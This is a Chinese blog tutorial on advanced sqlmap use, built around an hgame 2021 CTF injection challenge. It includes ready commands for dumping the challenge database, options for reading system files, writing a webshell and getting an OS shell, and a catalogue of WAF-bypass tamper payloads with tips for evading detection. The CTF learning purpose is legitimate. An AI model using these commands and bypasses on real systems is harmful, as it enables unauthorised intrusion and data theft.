从hgame一道注入题学SQLmap高级用法
SQLmap高级用法
在hgame2021中有这样一道题:很适合拿来学sqlmap
它的注入点在HTTP头部
且为get
那么
python .\sqlmap.py -u https://200ok.liki.link/server.php -H "Status: 1" -p Status -v 3 --batch --delay 0.5 --random-agent --tamp=space2comment
这里设置了--random-agent
指的是随意伪造agent头
--tamp=space2comment
意为把空格替换成/**/
。因为在这道题中空格是会被过滤的
--delay 0.5
是为了防止引起服务器的注意,延时0.5s注入下一个payload
发现了有两种注入方法。
python .\sqlmap.py -u https://200ok.liki.link/server.php -H "Status: 1" -p Status -v 3 --batch --delay 0.5 --random-agent --tamper=space2comment,nonrecursivereplacement --technique=B -D week2sqli -T f1111111144444444444g --dump
然后就开始一把嗦了。这里加了一个nonrecursivereplacement
意为双写,因为这道题会把select等替换为空。当然加randomcase
也行。因为这道题并不会过滤随机大小写。
--technique=B
意为使用bool盲注,因为bool盲注的效率是大于时间盲注的
如果使用nonrecursivereplacement
那么新版sqlmap是默认没有这个库的
可以到https://github.com/donniewerner/sqlmapui/blob/master/tamper/nonrecursivereplacement.py
这里去下载这个库,然后放到sqlmap的tamper
目录下。
Target
-d
直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d "mysql://user:password@192.168.75.128:3389/databasename" --dbs
查询非常快。-u
指定一个url连接,url中必须有?xx=xx
才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-l
后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例:-l log.txt
-x
站点地图,提交给sql一个xml文件。-m
后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例:-m target.txt
-r
可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例:-r post.txt
-g
使用google引擎搜索类似的网址,并且多目标检测。例:-g "inurl:\".php?id=1\""
是转义-c
将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save
命令将配置写入文件。
Request
--method=METHOD
指定是get方法还是post方法。例:--method=GET
--method=POST
--data=DATA
指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
--param-del=PARA.
指明使用的变量分割符。例:-u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
--cookie=COOKIE
指定测试时使用的cookie,通常在一些需要登录的站点会使用。例:-u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
--cookie-del=COO..
和前面的--param-del=PARA.
类似,就是指明分割cookie的字符。--load-cookies=L..
从包含Netscape / wget格式的cookie的文件中加载cookie。--drop-set-cookie
默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。--user-agent=AGENT
指定一个user-agent的值进行测试。例:--user-agent="aaaaaaa"
默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
--random-agent
使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt
在level>=3时会检测user-agent注入。--host=HOST
指定http包中的host头参数。例:--host="aaaaaa"
在level>=5时才会检查host头注入。n是换行--referer=REFERER
指定http包中的refere字段。例:--refere="aaaaa"
在level>=3时才会检测refere注入。-H --headers
额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
--headers=HEADERS
跟上边一样,再举一个例子:--headers="Accept-Language: fr\nETag: 123"
注意所有构造http包的部分均区分大小写--auth-type=AUTH..
基于http身份验证的种类。例:--auth-type Basic/Digest/NTLM
一共有三种认证方式。--auth-cred=AUTH..
使用的认证,例:--auth-type Basic --auth-cred "user:password"
--auth-file=AUTH..
使用.PEM文件中的认证。例:--auth-file="AU.PEM"
少见。--ignore-code=IG..
无视http状态码。例:--ignore-code=401
--ignore-proxy
无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。--ignore-redirects
无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。--ignore-timeouts
忽略连接超时。--proxy=PROXY
指定一个代理。例:--proxy="127.0.0.1:8087"
使用GoAgent代理。--proxy-cred=PRO..
代理需要的认证。例:--proxy="name:password"
--proxy-file=PRO..
从一个文件加载代理的认证。--tor
使用tor匿名网络,不懂。--tor-port=TORPORT
设置默认的tor代理端口,不懂+2。--tor-type=TORTYPE
设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3。--check-tor
检查是否正确使用Tor,不懂+4。--delay=DELAY
每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5
有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。--timeout=TIMEOUT
请求超时的时间,单位为秒,浮点数,默认30s。--retries=RETRIES
超时重连次数,默认三次。例:--retries=5
--randomize=RPARAM
参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。--safe-url=SAFEURL
用法和-u
类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。--safe-post=SAFE..
和上面的一样,只是使用post的方式发送数据。--safe-req=SAFER..
和上面的一样,只是从一个文件获得目标。--safe-freq=SAFE..
频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。--skip-urlencode
跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。--csrf-token=CSR..
保持csrf令牌的token。--csrf-url=CSRFURL
访问url地址获取csrf的token。--force-ssl
强制使用ssl。--hpp
使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。--eval=EVALCODE
执行一段指定的python代码。例:-u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Optimization
-o
开启下面三项(--predict-output
,--keep-alive
,--null-connection
)--predict-output
预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。--keep-alive
使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与--proxy
不兼容。--null-connection
只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。--threads=THREADS
开启多线程,默认为1,最大10。和--predict-output
不兼容。
Injection
-p TESTPARAMETER
知道测试的参数,使用这个的话--level
参数就会失效。例:-p "user-agent,refere"
--skip=SKIP
排除指定的参数。例:--level 5 --skip="id,user-agent"
--skip-static
跳过测试静态的参数。--param-exclude=..
使用正则表达式跳过测试参数。--dbms=DBMS
指定目标数据库类型。例:--dbms="MySQL<5.0>"
Oracle<11i>
Microsoft SQL Server<2005>
--dbms-cred=DBMS..
数据库的认证。利:--dbms-cred="name:password"
--os=OS
指定目标操作系统。例:--os="Linux/Windows"
--invalid-bignum
通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999。--invalid-logical
使用逻辑使参数失效,如id=1 and 1=2。--invalid-string
使用随机字符串使参数失效。--no-cast
获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。--no-escape
用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”-> select char(97)。--prefix=PREFIX
指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例:-u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
--suffix=SUFFIX
指定后缀,例子同上。--tamper=TAMPER
使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
Detection
--level=LEVEL
设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host
在sqlmap/xml/payloads文件内可以看见各个level发送的payload--risk=RISK
风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
--string=STRING
在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。--not-string=NOT..
同理,这个参数代表看不见什么才是真。--regexp=REGEXP
通常和上面两种连用,使用正则表达式来判断。--code=CODE
也是在基于布尔的注入时,只不过指定的是http返回码。--text-only
同上,只不过指定的是页面里的一段文本内容。--titles
同上,只不过指定的是页面的标题。
Techniques
--technique=TECH
指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)--time-sec=TIMESEC
在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。--union-cols=UCOLS
联合查询的尝试列数,随level增加,最多支持50列。例:--union-cols 6-9
--union-char=UCHAR
联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例:--union-char 1
--union-from=UFROM
联合查询从之前的查询结果中选择列,和上面的类似。--dns-domain=DNS..
如果你控制了一台dns服务器,使用这个可以提高效率。例:--dns-domain 123.com
--second-order=S..
在这个页面注入的结果,在另一个页面显示。例:--second-order 1.1.1.1/b.php
Fingerprint
-f, --fingerprint
指纹信息,返回DBMS,操作系统,架构,补丁等信息。
Enumeration
-a, --all
查找全部,很暴力。直接用-a
-b, --banner
查找数据库管理系统的标识。直接用-b
--current-user
当前用户,常用,直接用--current-user
--current-db
当前数据库,常用,直接用--current-db
--hostname
主机名,直接用--hostname
--is-dba
--users
查询一共都有哪些用户,常用,直接用--users
--passwords
查询用户密码的哈希,常用,直接用--passwords
--privileges
查看特权,常用。例:--privileges -U username (CU 就是当前用户)
--roles
查看一共有哪些角色(权限),直接用--roles
--dbs
目标服务器中有什么数据库,常用,直接用--dbs
--tables
目标数据库有什么表,常用,直接用--tables
--columns
目标表中有什么列,常用,直接用--colums
--schema
目标数据库数据库系统管理模式。--count
查询结果返回一个数字,即多少个。--dump
查询指定范围的全部数据。例:--dump -D admin -T admin -C username
--dump-all
查询全部数据。例:--dump-all --exclude-sysdbs
--search
搜索列、表和/或数据库名称。--comments
检索数据库的备注。-D DB
指定从某个数据库查询数据,常用。例:-D admindb
-T TBL
指定从某个表查询数据,常用。例:-T admintable
-C COL
指定从某个列查询数据,常用。例:-C username
-X EXCLUDE
指定数据库的标识符。-U USER
一个用户,通常和其他连用。例:--privileges -U username (CU 就是当前用户)
--exclude-sysdbs
除了系统数据库。--pivot-column=P..
枢轴列名,不懂。--where=DUMPWHERE
在dump表时使用where限制条件。--start=LIMITSTART
设置一个起始,通常和--dunmp
连用。--stop=LIMITSTOP
同上,设置一个结束。--first=FIRSTCHAR
以第一个查询输出的字符检索,不懂。--last=LASTCHAR
以最后一个查询输出的字符检索,不懂+2。--sql-query=QUERY
执行一个sql语句。--sql-shell
创建一个sql的shell。--sql-file=SQLFILE
执行一个给定文件中的sql语句
Brute force
--common-tables
检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。--common-columns
有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。
User-defined function injection
--udf-inject
编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。--shared-lib=SHLIB
同上,不懂。
File system access
--file-read=RFILE
读取目标站点的一个文件。例:--file-read="/etc/password"
--file-write=WFILE
写入到目标站点的一个文件,通常和--sql-query
连用。例:--sql-query="select "一句话木马" --file-write="shell.php"
--file-dest=DFILE
同上,只是使用绝对路径写入。
Operating system access
--os-cmd=OSCMD
执行一句系统命令。例:--os-shell="ipconfig -all"
--os-shell
创建一个对方操作系统的shell,远程执行系统命令。直接用即可--os-shell
--os-pwn
同上,获取一个OOB shell,meterpreter或VNC。--os-smbrelay
同上,一键获取一个OOB shell,meterpreter或VNC。--os-bof
利用缓冲区溢出。--priv-esc
自动提权,数据库进程用户权限提升。--msf-path=MSFPATH
Metasploit Framework本地的安装路径。--tmp-path=TMPPATH
远程临时文件目录的绝对路径。
Windows registry access
--reg-read
读一个Windows注册表。--reg-add
添加一个注册表。--reg-del
删一个注册表。--reg-key=REGKEY
和之前连用,注册表key值。--reg-value=REGVAL
和之前连用,注册表值。--reg-data=REGDATA
和之前连用,注册表数据。--reg-type=REGTYPE
和之前连用,注册表类别。
General
-s SESSIONFILE
从一个文件加载保存的session。-t TRAFFICFILE
记录流文件的保存位置。--batch
批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。--binary-fields=..
指定二进制结果的字段。--check-internet
在评估目标之前检查互联网连接,新功能。--crawl=CRAWLDEPTH
从起始位置爬取的深度。例:--crawl=3
--crawl-exclude=..
除了哪些页面之外全部爬取。例:--crawl-exclude="abc.com/logout.php"
--csv-del=CSVDEL
指定在CSV输出中使用的分隔字符。--charset=CHARSET
强制字符串编码。例:--charset=GBK
--dump-format=DU..
转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。--encoding=ENCOD..
用于数据检索的字符编码。例:--encoding=GBK
--eta
显示每个输出的预计到达时间 。--flush-session
清空会话信息。--forms
在目标URL上解析和测试表单。--fresh-queries
sqlmap每次查询都会讲查询结果储存在.sqlmap文件夹中,下次再有相同测查询会调用上次的查询结果,使用这个参数可以忽略文件中有的记载结果,重新查询。--har=HARFILE
将所有http流量记录在一个har文件中。--hex
dump非ascii字符时,将其编码为16进制,收到后解码还原。--output-dir=OUT..
输出结果至文件。例:--output-dir=/tmp
--parse-errors
解析并显示报错信息。--save=SAVECONFIG
将使用的命令保存到配置ini文件--scope=SCOPE
和-l
类似,只是这个可以过滤信息,使用正则表达式过滤网址。--test-filter=TE..
根据有效负载和/或标题,不懂。--test-skip=TEST..
根据有效负载和/或标题跳过测试,不懂+2。--update
更新sqlmap。
Miscellaneous
-z MNEMONICS
参数助记符,比较傻的一个功能。例:-z "bat,randoma,ign,tec=BEU"
其实就是只要你写的字母可以唯一匹配其他参数,就可以生效。--alert=ALERT
在找到SQL注入时运行主机OS命令。--answers=ANSWERS
设置问题答案,在刚刚的--batch
可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例:--answer "extending=N"
--beep
在问题和/或当SQL注入被发现时发出嘟嘟声。。。。。。。。。--cleanup
从SqLMAP特定的UDF和表中找数据库,类似暴力破解。--dependencies
检查缺少的Sql映射依赖项。--disable-coloring
禁用控制台输出着色。--gpage=GOOGLEPAGE
在指定页使用google结果,不懂。--identify-waf
识别目标的防火墙。--mobile
cosplay 手机。--offline
在脱机模式下工作。--purge-output
情况输出文件夹。--skip-waf
跳过WAF/IPS/IDS保护的启发式检测。--smart
有大量检测目标时候,只选择基于错误的检测。--sqlmap-shell
创建一个交互的sqlmap_shell,不懂。--tmp-dir=TMPDIR
更改存储临时文件的本地目录。--web-root=WEBROOT
设置Web服务器文档根目录。例:--web-root="/var/www"
--wizard
新手教程。
关于tamper绕waf
SQLMap中tamper篡改脚本的功能解释
apostrophemask.py
功能:对引号进行utf-8格式编码(%EF%BC%87)
平台:All
举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
apostrophenullencode.py
功能:用非法的双unicode字符(%00%27)替换引号字符
平台:All
举例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271
appendnullbyte.py
功能:在有效载荷结束位置加载零字节字符编码
平台:Microsoft Access
举例:1 AND 1=1 ==> 1 AND 1=1%00
base64encode.py
功能:用base64格式进行编码
平台:All
举例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==
between.py
功能:用between替换大于号(>)
平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0
举例:
1 AND A > B -- ==> 1 AND A NOT BETWEEN 0 AND B --
1 AND A = B -- ==> 1 AND A BETWEEN B AND B --
bluecoat.py
功能:对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"
平台:MySQL 5.1, SGOS
举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1
apostrophemask.py
功能:用utf-8格式编码引号(如:%EF%BC%87)
平台:All
举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
charunicodeencode.py
功能:对字符串进行Unicode格式转义编码
平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
举例:SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
charencode.py
功能:采用url格式编码1次
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
chardoubleencode.py
功能:采用url格式编码2次
平台:All
举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
commalessmid.py
功能:将payload中的逗号用 from和for代替,用于过滤了逗号并且是3个参数的情况
平台:MySQL 5.0, 5.5
举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)
concat2concatws.py
功能:CONCAT() ==> CONCAT_WS(),用于过滤了CONCAT()函数的情况
平台: MySQL 5.0
举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)
equaltolike.py
功能:= ==> LIKE,用于过滤了等号"="的情况
平台:Mssql 2005、MySQL 4, 5.0 and 5.5
举例:SELECT FROM users WHERE id=1 ==> SELECT FROM users WHERE id LIKE 1
greatest.py
功能:> ==> GREATEST
平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=A
a和b+1比较,取两者中的最大值为a;则a >= b+1,亦即a > b
halfversionedmorekeywords.py
功能:空格 ==> /*!0 (在关键字前添加注释)
平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)
举例:union ==> /*!0union
ifnull2ifisnull.py
功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)
平台:MySQL 5.0 and 5.5
举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)
informationschemacomment.py
功能:
在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况
retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)
平台:All
举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables
lowercase.py
功能:将 payload 里的大写转为小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables
modsecurityversioned.py
功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
平台:MySQL 5.0
举例:1 AND 2>1-- ==> 1 /!30874AND 2>1/--
modsecurityzeroversioned.py
功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
平台:Mysql
举例:1 and 2>1--+ ==> 1 /!00000and 2>1/--+
multiplespaces.py
功能:围绕SQL关键字添加多个空格
平台:All
举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobar
nonrecursivereplacement.py
功能:关键字双写,可用于关键字过滤
平台:All
举例:1 UNION SELECT 2-- ==> 1 UNIONUNION SELESELECTCT 2--
overlongutf8.py
功能: 转换给定的payload当中的所有字符
平台:All
举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1
percentage.py
功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个(%)
平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
randomcase.py
功能:将 payload 随机大小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:INSERT ==> InseRt
randomcomments.py
功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
平台:Mysql
举例:INSERT ==> I / / N / / SERT
securesphere.py
功能:在payload后追加特殊构造的字符串
平台:All
举例:1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'
space2comment.py
功能:用注释符 // 代替空格,用于空格的绕过
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT//id//FROM//users
space2dash.py
功能:用[注释符(--)+一个随机字符串+一个换行符]替换控制符
平台:MSSQL、 SQLite
举例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+
space2hash.py
功能:用[注释符(#)+一个随机字符串+一个换行符]替换控制符
平台:Mysql
举例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+
space2morehash.py
功能:用多个[注释符(#)+一个随机字符串+一个换行符]替换控制符
平台:MySQL >= 5.1.13
举例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+
space2mssqlblank.py
功能:用随机的空白符替换payload中的空格
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
平台:Mssql 2000,2005
举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users
space2mssqlhash.py
功能:用[字符# +一个换行符]替换payload中的空格
平台:MSSQL、MySQL
举例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+
space2plus.py
功能:用加号(+)替换空格
平台:All
举例:SELECT id FROM users ==> SELECT+id+FROM+users
space2randomblank.py
功能:用随机的空白符替换payload中的空格
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers
sp_password.py
功能:在payload语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)
平台:Mssql
举例:1 AND 9227=9227-- ==> 1 AND 9227=9227 -- sp_password
symboliclogical.py
功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
平台:All
举例:
1 and 1=1 ==> 1 %26%26 1=1
1 or 1=1 ==> 1 %7c%7c 1=1
unionalltounion.py
功能:用 union select 替换union all select
平台:All
举例:union all select 1,2--+ ==> union select 1,2--+
unmagicquotes.py
功能:用宽字符绕过 GPC addslashes
平台:All
举例:1' and 1=1 ==> 1%df%27 and 1=1--
uppercase.py
功能:将payload中的小写字母转为大写格式
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:insert ==> INSERT
varnish.py
功能:添加一个HTTP头“ X-originating-IP ”来绕过WAF
平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
举例:All
versionedkeywords.py
功能:对非函数的关键字进行注释
平台:MySQL 4.0.18, 5.1.56, 5.5.11
举例:1 union select user() ==> 1/!UNION//!SELECT/user()
versionedmorekeywords.py
功能:对每个关键字进行注释处理
平台:MySQL 5.1.56, 5.5.11
举例:1 union select user() ==> 1/!UNION//!SELECT/user()
xforwardedfor.py
功能:添加一个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF
平台:All
举例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
如果sqlmap中没有某个模块 可以到这里下回来
https://github.com/donniewerner/sqlmapui/blob/master/tamper/nonrecursivereplacement.py
例payload
python .\sqlmap.py -u https://200ok.liki.link/server.php -H "Status: 1" -p Status -v 3 --batch --delay 0.5 --random-agent --tamper=space2comment,nonrecursivereplacement -D week2sqli -T f1111111144444444444g --dump --identify-waf
额,真高级呢